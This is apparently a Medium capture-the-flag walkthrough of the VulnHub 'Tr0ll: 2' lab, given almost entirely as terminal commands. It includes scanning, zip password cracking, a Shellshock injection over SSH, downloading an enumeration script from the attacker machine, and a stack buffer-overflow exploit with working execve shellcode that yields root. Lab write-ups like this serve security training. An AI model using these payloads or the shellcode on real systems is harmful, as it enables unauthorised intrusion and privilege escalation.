VulnHub: Tr0ll: 2

nmap -sn 10.0.2.27/24
nmap -Pn 10.0.2.30nmap -Pn -p1000- 10.0.2.30
nmap -A -p21,22,80 10.0.2.30
nmap --script vuln -p21,22,80 10.0.2.30
ftp 10.0.2.30
ssh 10.0.2.30
nikto -h http://10.0.2.30
gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.0.2.30/ -x php,txt,html,sh,cgi -q
gobuster dir --wordlist http/robots_fix.txt -u http://10.0.2.30/ -x php,txt,html,sh,cgi -q
exiftool cat_the_troll.jpg
strings
wget http://10.0.2.30/y0ur_self/answer.txt
sort answer.txt | uniq > new_answer.txtcat new_answer.txt
cat decoded_answer.txt
ftp 10.0.2.30username: Tr0llpassword: (empty)
username: Tr0llpassword: Tr0llls -la
get lmao.zip
unzip lmao.zip
fcrackzip -u -v -D -p http/y0ur_self/decoded_answer.txt lmao.zip
unzip lmao.zippassword: <cracked password>ls
cat noob
chmod 600 noob
ssh -i noob Troll@10.0.2.30
ssh -i noob noob@10.0.2.30
ssh -i noob noob@10.0.2.30 '() { :;}; /bin/bash'idpython -c 'import pty;pty.spawn("/bin/bash");'
/home/tmp/opt/var/var/www/html
sudo -l
python -m SimpleHTTPServer 80
cd /tmpwget http://10.0.2.27/LinEnum.shchmod 777 LinEnum.sh
./LinEnum.sh
cd /nothing_to_see_here/choose_wiselyls -la
cd door1ls -la
cd ../door2ls -la
cd ../door3ls -la
./r00t
./r00t
./r00t test
./r00t $(python -c 'print "A"*500' )
msf-pattern_create -l 500
gdb ./r00t
r <created pattern>
msf-pattern_offset -l 500 -q <EIP address>in my case:msf-pattern_offset -l 500 -q 6a413969
i r esp
quit
./r00t
ls -la
./r00t
ls -la
stat r00t
gdb ./r00t
r $(python -c 'print "A"*<offset number> + "B"*4' )in mycase:r $(python -c 'print "A"*268 + "B"*4' )
./r00t $(python -c 'print "A"*<offset number> +   "<ESP address>" + "\x90" * 10 + "<shellcode>"')in my case:./r00t $(python -c 'print "A"*268 +   "\xc0\xfa\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
idwhoami
cd /rootls -lacat Proof.txt

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store